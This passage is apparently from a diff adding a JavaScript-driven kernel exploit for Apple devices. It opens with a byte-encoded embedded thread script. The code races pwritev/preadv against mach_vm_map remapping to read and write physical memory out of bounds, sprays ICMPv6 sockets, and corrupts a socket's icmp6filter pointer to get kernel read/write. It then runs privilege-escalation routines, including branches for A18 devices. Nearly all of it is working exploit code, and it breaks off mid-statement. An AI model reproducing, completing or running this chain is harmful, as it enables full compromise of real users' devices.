95, 109, 101, 109, 32, 43, 32, 48, 120, 56, 110, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 49, 48, 110, 59, 10, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 49, 56, 110, 59, 10, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 50, 48, 110, 59, 10, 108, 101, 116, 32, 103, 111, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 50, 56, 110, 59, 10, 108, 101, 116, 32, 114, 97, 99, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 51, 48, 110, 59, 10, 10, 99, 109, 112, 56, 95, 119, 97, 105, 116, 95, 102, 111, 114, 95, 99, 104, 97, 110, 103, 101, 40, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 95, 112, 116, 114, 44, 32, 48, 41, 59, 10, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 40, 41, 32, 123, 10, 32, 32, 32, 32, 99, 109, 112, 56, 95, 119, 97, 105, 116, 95, 102, 111, 114, 95, 99, 104, 97, 110, 103, 101, 40, 103, 111, 95, 115, 121, 110, 99, 95, 112, 116, 114, 44, 32, 48, 41, 59, 10, 10, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 117, 114, 101, 97, 100, 54, 52, 40, 103, 111, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 32, 33, 61, 32, 48, 110, 41, 32, 123, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 109, 112, 56, 95, 119, 97, 105, 116, 95, 102, 111, 114, 95, 99, 104, 97, 110, 103, 101, 40, 114, 97, 99, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 44, 32, 48, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 100, 105, 115, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 65, 108, 108, 111, 99, 97, 116, 101, 32, 97, 32, 110, 101, 119, 32, 110, 111, 110, 45, 99, 111, 110, 116, 105, 103, 117, 111, 117, 115, 32, 109, 97, 112, 32, 101, 110, 116, 114, 121, 32, 40, 111, 112, 116, 105, 111, 110, 97, 108, 108, 121, 32, 117, 115, 105, 110, 103, 32, 97, 32, 109, 101, 109, 111, 114, 121, 32, 111, 98, 106, 101, 99, 116, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 107, 114, 32, 61, 32, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 40, 109, 97, 99, 104, 95, 116, 97, 115, 107, 95, 115, 101, 108, 102, 40, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 103, 101, 116, 95, 98, 105, 103, 105, 110, 116, 95, 97, 100, 100, 114, 40, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 70, 73, 88, 69, 68, 32, 124, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 79, 86, 69, 82, 87, 82, 73, 84, 69, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 80, 82, 79, 84, 95, 68, 69, 70, 65, 85, 76, 84, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 80, 82, 79, 84, 95, 68, 69, 70, 65, 85, 76, 84, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 73, 78, 72, 69, 82, 73, 84, 95, 78, 79, 78, 69, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 107, 114, 32, 33, 61, 32, 75, 69, 82, 78, 95, 83, 85, 67, 67, 69, 83, 83, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 76, 79, 71, 40, 34, 91, 45, 93, 32, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 32, 102, 97, 105, 108, 101, 100, 32, 33, 33, 33, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 58, 32, 34, 32, 43, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 46, 104, 101, 120, 40, 41, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 58, 32, 34, 32, 43, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 46, 104, 101, 120, 40, 41, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 101, 120, 105, 116, 40, 48, 110, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 114, 97, 99, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 47, 47, 32, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 125, 10, 10, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 40, 41, 59, 0]); + let free_thread_js = 0n; + if (free_thread_js == 0n) { + free_thread_js = free_thread_js_data; + } + free_thread_jsthread = js_thread_spawn(free_thread_js, free_thread_arg); + } + let default_file_content = calloc(1n, target_file_size); + memset_pattern8(default_file_content, get_bigint_addr(random_marker), target_file_size); + function create_target_file(path) { + let fd = fopen(path, get_cstring("w")); + let written = fwrite(default_file_content, 1n, target_file_size, fd); + fclose(fd); + } + function create_physically_contiguous_mapping(port, address, size) { + let dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0n, kCFTypeDictionaryKeyCallBacks, kCFTypeDictionaryValueCallBacks); + let cf_number = CFNumberCreate(kCFAllocatorDefault, 9n, get_bigint_addr(size)); + res = CFDictionarySetValue(dict, kIOSurfaceAllocSize, cf_number); + let cfstring = create_cfstring(get_cstring("PurpleGfxMem")); + res = CFDictionarySetValue(dict, create_cfstring(get_cstring("IOSurfaceMemoryRegion")), cfstring); + let surface = IOSurfaceCreate(dict); + CFRelease(dict); + if (surface == 0n) { + LOG("[-] Failed to create surface!!!"); + exit(0n); + } + let physical_mapping_address = IOSurfaceGetBaseAddress(surface); + LOG("[+] physical_mapping_address: " + physical_mapping_address.hex()); + let memory_object = new_bigint(); + let kr = mach_make_memory_entry_64(mach_task_self(), get_bigint_addr(size), physical_mapping_address, VM_PROT_DEFAULT, get_bigint_addr(memory_object), 0n); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_make_memory_entry_64 failed!!!"); + exit(0n); + } + let new_mapping_address = new_bigint(); + kr = mach_vm_map(mach_task_self(), get_bigint_addr(new_mapping_address), size, 0n, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, memory_object, 0n, 0n, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_vm_map failed!!!"); + exit(0n); + } + CFRelease(surface); + uwrite64(port, memory_object); + uwrite64(address, new_mapping_address); + } + function initialize_physical_read_write(contiguous_mapping_size) { + pc_size = contiguous_mapping_size; + create_physically_contiguous_mapping(get_bigint_addr(pc_object), get_bigint_addr(pc_address), pc_size); + LOG("[+] pc_object: " + pc_object.hex()); + LOG("[+] pc_address: " + pc_address.hex()); + memset_pattern8(pc_address, get_bigint_addr(random_marker), pc_size); + free_target = pc_address; + free_target_size = pc_size; + uwrite64(free_target_sync_ptr, free_target); + uwrite64(free_target_size_sync_ptr, free_target_size); + uwrite64(free_thread_start_ptr, 1n); + uwrite64(go_sync_ptr, 1n); + } + let iov = calloc(1n, 0x10n); + let highiest_success_idx = 0n; + let success_read_count = 0n; + function physical_oob_read_mo(mo, mo_offset, size, offset, buffer) { + uwrite64(target_object_sync_ptr, mo); + uwrite64(target_object_offset_sync_ptr, mo_offset); + uwrite64(iov + 0x00n, pc_address + 0x3f00n); + uwrite64(iov + 0x08n, offset + size); + uwrite64(buffer, random_marker); + uwrite64(pc_address + 0x3f00n + offset, random_marker); + let read_race_succeeded = false; + let w = 0n; + for (let try_idx = 0n; try_idx < highiest_success_idx + 100n; try_idx++) { + uwrite64(race_sync_ptr, 1n); + w = pwritev(read_fd, iov, 1n, 0x3f00n); + cmp8_wait_for_change(race_sync_ptr, 1); + kr = mach_vm_map(mach_task_self(), get_bigint_addr(pc_address), pc_size, 0n, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pc_object, 0n, 0n, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_vm_map failed!!!"); + exit(0n); + } + if (w == 0xFFFFFFFFFFFFFFFFn) { + let r = pread(read_fd, buffer, size, 0x3f00n + offset); + let marker = uread64(buffer); + if (marker != random_marker) { + read_race_succeeded = true; + success_read_count += 0x1n; + if (try_idx > highiest_success_idx) { + highiest_success_idx = try_idx; + } + break; + } else { + usleep(1n); + } + } + if (try_idx == 500n) { + break; + } + } + uwrite64(target_object_sync_ptr, 0n); + if (read_race_succeeded == false) { + return 1n; + } + return KERN_SUCCESS; + } + function physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer) { + while (true) { + kr = physical_oob_read_mo(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); + if (kr == KERN_SUCCESS) { + break; + } + } + } + function physical_oob_write_mo(mo, mo_offset, size, offset, buffer) { + uwrite64(target_object_sync_ptr, mo); + uwrite64(target_object_offset_sync_ptr, mo_offset); + uwrite64(iov + 0x00n, pc_address + 0x3f00n); + uwrite64(iov + 0x08n, offset + size); + pwrite(write_fd, buffer, size, 0x3f00n + offset); + for (let try_idx = 0n; try_idx < 20n; try_idx++) { + uwrite64(race_sync_ptr, 1n); + preadv(write_fd, iov, 1n, 0x3f00n); + cmp8_wait_for_change(race_sync_ptr, 1); + kr = mach_vm_map(mach_task_self(), get_bigint_addr(pc_address), pc_size, 0n, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pc_object, 0n, 0n, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_vm_map failed!!!"); + exit(0n); + } + } + uwrite64(target_object_sync_ptr, 0n); + return; + } + let control_socket = 0n; + let rw_socket = 0n; + let control_socket_pcb = 0n; + let rw_socket_pcb = 0n; + let EARLY_KRW_LENGTH = 0x20n; + let control_data = calloc(1n, EARLY_KRW_LENGTH); + function set_target_kaddr(where) { + memset(control_data, 0n, EARLY_KRW_LENGTH); + uwrite64(control_data, where); + let res = setsockopt(control_socket, IPPROTO_ICMPV6, ICMP6_FILTER, control_data, EARLY_KRW_LENGTH); + if (res != 0n) { + LOG("[-] setsockopt failed!!!"); + exit(0n); + } + } + function early_kread(where, read_buf, size) { + if (size > EARLY_KRW_LENGTH) { + LOG("[!] error: (size > EARLY_KRW_LENGTH)"); + exit(0n); + } + set_target_kaddr(where); + let read_data_length = BigInt(size); + res = getsockopt(rw_socket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, get_bigint_addr(read_data_length)); + if (res != 0n) { + LOG("[-] getsockopt failed!!!"); + exit(0n); + } + } + function early_kread64(where) { + let value = new_bigint(); + let res = early_kread(where, get_bigint_addr(value), 0x8n); + return update_bigint(value); + } + function early_kwrite32bytes(where, write_buf) { + set_target_kaddr(where); + let res = setsockopt(rw_socket, IPPROTO_ICMPV6, ICMP6_FILTER, write_buf, EARLY_KRW_LENGTH); + if (res != 0n) { + LOG("[-] setsockopt failed!!!"); + exit(0n); + } + } + let early_kwrite64_write_buf = calloc(1n, EARLY_KRW_LENGTH); + function early_kwrite64(where, what) { + early_kread(where, early_kwrite64_write_buf, EARLY_KRW_LENGTH); + uwrite64(early_kwrite64_write_buf, what); + early_kwrite32bytes(where, early_kwrite64_write_buf); + } + function kread_length(address, buffer, size) { + let remaining = BigInt(size); + let read_offset = 0n; + let read_size = 0n; + while (remaining != 0n) { + if (remaining >= EARLY_KRW_LENGTH) { + read_size = EARLY_KRW_LENGTH; + } else { + read_size = remaining % EARLY_KRW_LENGTH; + } + early_kread(address + read_offset, buffer + read_offset, read_size); + remaining -= read_size; + read_offset += read_size; + } + } + let kwrite_length_buffer = calloc(1n, EARLY_KRW_LENGTH); + function kwrite_length(dst, src, size) { + let remaining = BigInt(size); + let write_offset = 0n; + let write_size = 0n; + while (remaining != 0n) { + if (remaining >= EARLY_KRW_LENGTH) { + write_size = EARLY_KRW_LENGTH; + } else { + write_size = remaining % EARLY_KRW_LENGTH; + } + let kwrite_dst_addr = dst + write_offset; + let kwrite_src_addr = src + write_offset; + if (write_size != EARLY_KRW_LENGTH) { + kread_length(kwrite_dst_addr, kwrite_length_buffer, EARLY_KRW_LENGTH); + } + memcpy(kwrite_length_buffer, kwrite_src_addr, write_size); + early_kwrite32bytes(kwrite_dst_addr, kwrite_length_buffer); + remaining -= write_size; + write_offset += write_size; + } + } + function kwrite_zone_element(dst, src, len) { + let CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE = 0x20n; + if (len < CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) { + LOG("kwrite_zone_element supports only zone element size >= 0x20"); + return false; + } + let write_size = 0n; + let write_offset = 0n; + let remaining = BigInt(len); + while (remaining != 0n) { + write_size = remaining >= CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE ? CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE : remaining % CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE; + let kwrite_dst_addr = dst + write_offset; + let kwrite_src_addr = src + write_offset; + if (write_size != CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) { + let adjust = CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE - write_size; + kwrite_dst_addr -= adjust; + kwrite_src_addr -= adjust; + } + kwrite_length(kwrite_dst_addr, kwrite_src_addr, CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE); + remaining -= write_size; + write_offset += write_size; + } + return true; + } + function kdump(where, size, msg = "") { + LOG(`[+] ----------- ${msg} ----------`); + for (let i = 0n; i < size; i += 0x10n) { + LOG(`[+] [${i.hex()}] ${(where + i).hex()}:\t${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`); + } + } + function krw_sockets_leak_forever() { + let offset_pcb_socket = 0x40n; + let offset_socket_so_count = 0x254n; + let control_socket_addr = early_kread64(control_socket_pcb + offset_pcb_socket); + let rw_socket_addr = early_kread64(rw_socket_pcb + offset_pcb_socket); + if (control_socket_addr == 0n || rw_socket_addr == 0n) { + LOG("[-] Couldn't find control_socket_addr || rw_socket_addr"); + exit(0n); + } + let control_socket_so_count = early_kread64(control_socket_addr + offset_socket_so_count); + let rw_socket_so_count = early_kread64(rw_socket_addr + offset_socket_so_count); + early_kwrite64(control_socket_addr + offset_socket_so_count, control_socket_so_count + 0x0000100100001001n); + early_kwrite64(rw_socket_addr + offset_socket_so_count, rw_socket_so_count + 0x0000100100001001n); + let icmp6filt_offset = 0x148n; + early_kwrite64(rw_socket_pcb + icmp6filt_offset + 0x8n, 0n); + } + let socket_ports = []; + let socket_pcb_ids = []; + let socket_ports_count = 0n; + let getsockopt_read_length = 32n; + let getsockopt_read_data = calloc(1n, getsockopt_read_length); + let socket_info = calloc(1n, 0x400n); + function spray_socket(socket_ports, socket_pcb_ids) { + let fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6); + if (fd == 0xFFFFFFFFFFFFFFFFn) { + LOG("[-] socket create failed!!!"); + return fd; + } + let output_socket_port = new_bigint(); + fileport_makeport(fd, get_bigint_addr(output_socket_port)); + close(fd); + let r = syscall(336n, 6n, getpid(), 3n, output_socket_port, socket_info, 0x400n); + let inp_gencnt = uread64(socket_info + 0x110n); + socket_ports.push(output_socket_port); + socket_pcb_ids.push(inp_gencnt); + return output_socket_port; + } + function sockets_release() { + for (let sock_idx = 0n; sock_idx < socket_ports_count; sock_idx++) { + let port = socket_ports.pop(); + mach_port_deallocate(mach_task_self(), port); + socket_pcb_ids.pop(); + } + socket_ports_count = 0n; + } + function create_surface_with_address(address, size) { + let properties = CFDictionaryCreateMutable(kCFAllocatorDefault, 0n, kCFTypeDictionaryKeyCallBacks, kCFTypeDictionaryValueCallBacks); + let address_ptr = new_uint64_t(address); + let address_number = CFNumberCreate(kCFAllocatorDefault, 11n, address_ptr); + CFDictionarySetValue(properties, create_cfstring(get_cstring("IOSurfaceAddress")), address_number); + let size_ptr = new_uint64_t(size); + let size_number = CFNumberCreate(kCFAllocatorDefault, 9n, size_ptr); + CFDictionarySetValue(properties, create_cfstring(get_cstring("IOSurfaceAllocSize")), size_number); + let surface = IOSurfaceCreate(properties); + IOSurfacePrefetchPages(surface); + free(address_ptr); + free(size_ptr); + CFRelease(address_number); + CFRelease(size_number); + CFRelease(properties); + return surface; + } + let mlock_dict = {}; + function surface_mlock(address, size) { + let surf = create_surface_with_address(address, size); + mlock_dict[address] = surf; + } + function surface_munlock(address, size) { + if (mlock_dict[address] != undefined) { + CFRelease(mlock_dict[address]); + } + mlock_dict[address] = undefined; + } + function find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, do_read = true) { + if (do_read == true) { + physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); + } + let search_start_idx = 0n; + let target_found = false; + let pcb_start_offset = 0n; + let icmp6filt_offset = 0x148n; + let found = 0n; + do { + found = memmem(read_buffer + search_start_idx, oob_size - search_start_idx, executable_name, strlen(executable_name)); + if (found != 0n) { + pcb_start_offset = found - read_buffer & 0xFFFFFFFFFFFFFC00n; + if (uread64(read_buffer + pcb_start_offset + icmp6filt_offset + 0x8n) == 0x0000ffffffffffffn) { + target_found = true; + break; + } + } + search_start_idx += 0x400n; + } while (found != 0n && search_start_idx < oob_size); + if (target_found == true) { + LOG("[+] pcb_start_offset: " + pcb_start_offset.hex()); + let target_inp_gencnt = uread64(read_buffer + pcb_start_offset + 0x78n); + LOG("[+] target_inp_gencnt: " + target_inp_gencnt.hex()); + if (target_inp_gencnt == socket_pcb_ids[socket_ports_count - 1n]) { + LOG(`[-] Found last PCB`); + return -1n; + } + let is_our_pcb = false; + let control_socket_idx = undefined; + for (let sock_idx = 0n; sock_idx < socket_ports_count; sock_idx++) { + if (socket_pcb_ids[sock_idx] == target_inp_gencnt) { + is_our_pcb = true; + control_socket_idx = sock_idx; + break; + } + } + if (is_our_pcb == false) { + LOG(`[-] Found freed PCB Page!`); + return -1n; + } + if (target_inp_gencnt_list.includes(target_inp_gencnt)) { + LOG(`[-] Found old PCB Page!!!!`); + return -1n; + } else { + target_inp_gencnt_list.push(target_inp_gencnt); + } + let inp_list_next_pointer = uread64(read_buffer + pcb_start_offset + 0x28n) - 0x20n; + let icmp6filter = uread64(read_buffer + pcb_start_offset + icmp6filt_offset); + LOG("[+] inp_list_next_pointer: " + inp_list_next_pointer.hex()); + LOG("[+] icmp6filter: " + icmp6filter.hex()); + rw_socket_pcb = BigInt(inp_list_next_pointer); + memcpy(write_buffer, read_buffer, oob_size); + uwrite64(write_buffer + pcb_start_offset + icmp6filt_offset, inp_list_next_pointer + icmp6filt_offset); + uwrite64(write_buffer + pcb_start_offset + icmp6filt_offset + 0x8n, 0n); + LOG("[+] Corrupting icmp6filter pointer..."); + while (true) { + physical_oob_write_mo(memory_object, seeking_offset, oob_size, oob_offset, write_buffer); + physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); + let new_icmp6filter = uread64(read_buffer + pcb_start_offset + icmp6filt_offset); + if (new_icmp6filter == inp_list_next_pointer + icmp6filt_offset) { + LOG("[+] target corrupted: " + uread64(read_buffer + pcb_start_offset + icmp6filt_offset).hex()); + break; + } + } + let sock = fileport_makefd(socket_ports[control_socket_idx]); + let res = getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER, getsockopt_read_data, get_bigint_addr(getsockopt_read_length)); + if (res != 0n) { + LOG("[-] getsockopt failed!!!"); + exit(0n); + } + let marker = uread64(getsockopt_read_data); + if (marker != 0xffffffffffffffffn) { + LOG("[+] Found control_socket at idx: " + control_socket_idx.hex()); + control_socket = sock; + rw_socket = fileport_makefd(socket_ports[control_socket_idx + 0x1n]); + return KERN_SUCCESS; + } else { + LOG("[-] Failed to corrupt control_socket at idx: " + control_socket_idx.hex()); + } + } + return -1n; + } + let kernel_base = 0n; + let kernel_slide = 0n; + let is_a18_devices = false; + function pe_v1() { + let n_of_total_search_mapping_pages = 0x1000n * 0x10n; + if (is_a18_devices) { + n_of_total_search_mapping_pages = 0x10n * 0x10n; + } + let search_mapping_size = 0x2000n * PAGE_SIZE; + if (is_a18_devices) { + search_mapping_size = 0x10n * PAGE_SIZE; + } + let total_search_mapping_size = n_of_total_search_mapping_pages * PAGE_SIZE; + let n_of_search_mappings = total_search_mapping_size / search_mapping_size; + let read_buffer = calloc(1n, oob_size); + let write_buffer = calloc(1n, oob_size); + initialize_physical_read_write(n_of_oob_pages * PAGE_SIZE); + let wired_mapping = new_bigint(); + let wired_mapping_size = 1024n * 1024n * 1024n * 3n; + if (is_a18_devices) { + kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(wired_mapping), wired_mapping_size, VM_FLAGS_ANYWHERE); + LOG(`[+] wired_mapping: ${wired_mapping.hex()}`); + } + let target_inp_gencnt_list = []; + while (true) { + if (is_a18_devices) { + surface_mlock(wired_mapping, wired_mapping_size); + for (let s = 0n; s < wired_mapping_size / 0x4000n; s++) { + uwrite64(wired_mapping + s * 0x4000n, 0n); + } + } + let search_mappings = []; + for (let s = 0n; s < n_of_search_mappings; s++) { + let search_mapping_address = new_bigint(); + kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(search_mapping_address), search_mapping_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_vm_allocate failed!!!"); + exit(0n); + } + for (let k = 0n; k < search_mapping_size; k += PAGE_SIZE) { + uwrite64(search_mapping_address + k, random_marker); + } + search_mappings.push(search_mapping_address); + } + socket_ports = []; + socket_pcb_ids = []; + socket_ports_count = 0n; + const OPEN_MAX = 10240n; + let maxfiles = 3n * OPEN_MAX; + let leeway = 4096n * 2n; + for (let socket_count = 0n; socket_count < maxfiles - leeway; socket_count++) { + let port = spray_socket(socket_ports, socket_pcb_ids); + if (port == 0xFFFFFFFFFFFFFFFFn) { + LOG("[-] Failed to spray sockets: " + socket_ports_count.hex()); + break; + } else { + socket_ports_count++; + } + } + let start_pcb_id = socket_pcb_ids[0]; + let end_pcb_id = socket_pcb_ids[socket_ports_count - 1n]; + LOG(`[i] socket_ports_count: ${socket_ports_count.hex()}`); + LOG(`[i] start_pcb_id: ${start_pcb_id.hex()}`); + LOG(`[i] end_pcb_id: ${end_pcb_id.hex()}`); + let success = false; + for (let s = 0n; s < n_of_search_mappings; s++) { + let search_mapping_address = search_mappings[s]; + LOG("[i] looking in search mapping: " + s); + let memory_object = new_bigint(); + let memory_object_size = BigInt(search_mapping_size); + kr = mach_make_memory_entry_64(mach_task_self(), get_bigint_addr(memory_object_size), search_mapping_address, VM_PROT_DEFAULT, get_bigint_addr(memory_object), 0n); + if (kr != 0n) { + LOG("[-] mach_make_memory_entry_64 failed!!!"); + exit(0n); + } + surface_mlock(search_mapping_address, search_mapping_size); + let seeking_offset = 0n; + while (seeking_offset < search_mapping_size) { + kr = physical_oob_read_mo(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); + if (kr == KERN_SUCCESS) { + if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, false) == KERN_SUCCESS) { + success = true; + break; + } + } + seeking_offset += PAGE_SIZE; + } + kr = mach_port_deallocate(mach_task_self(), memory_object); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_port_deallocate failed!!!"); + exit(0n); + } + if (success == true) { + break; + } + } + sockets_release(); + for (let s = 0n; s < n_of_search_mappings; s++) { + let search_mapping_address = search_mappings.pop(); + kr = mach_vm_deallocate(mach_task_self(), search_mapping_address, search_mapping_size); + } + if (is_a18_devices) { + surface_munlock(wired_mapping, wired_mapping_size); + } + if (success == true) { + break; + } + } + } + function pe_v2() { + let read_buffer = calloc(1n, oob_size); + let write_buffer = calloc(1n, oob_size); + initialize_physical_read_write(n_of_oob_pages * PAGE_SIZE); + let getsockopt_read_length = 32n; + let getsockopt_read_data = calloc(1n, getsockopt_read_length); + let wired_mapping_entry_size = PAGE_SIZE; + let wired_mapping_entries_total_size = 1024n * 1024n * 1024n * 2n; + let n_of_wired_mapping_entries = wired_mapping_entries_total_size / wired_mapping_entry_size; + let wired_mapping_entries_addresses = []; + LOG("[i] Allocating memory"); + let kr = KERN_SUCCESS; + let wired_address = 0n; + for (let i = 0n; i < n_of_wired_mapping_entries; i++) { + if (i == 0n) { + wired_address = new_bigint(); + do { + kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(wired_address), wired_mapping_entry_size, VM_FLAGS_ANYWHERE); + } while (kr != KERN_SUCCESS); + } else { + wired_address = BigInt(wired_mapping_entries_addresses.slice(-1)); + do { + wired_address += wired_mapping_entry_size; + kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(wired_address), wired_mapping_entry_size, VM_FLAGS_FIXED); + } while (kr != KERN_SUCCESS); + } + wired_mapping_entries_addresses.push(wired_address); + surface_mlock(wired_address, wired_mapping_entry_size); + uwrite64(wired_address, wired_page_marker); + uwrite64(wired_address + 0x8n, wired_address); + } + let target_inp_gencnt_list = []; + LOG("[i] Allocating memory done"); + while (true) { + let search_mapping_size = 0x800n * PAGE_SIZE; + let search_mapping_address = new_bigint(); + kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(search_mapping_address), search_mapping_size, 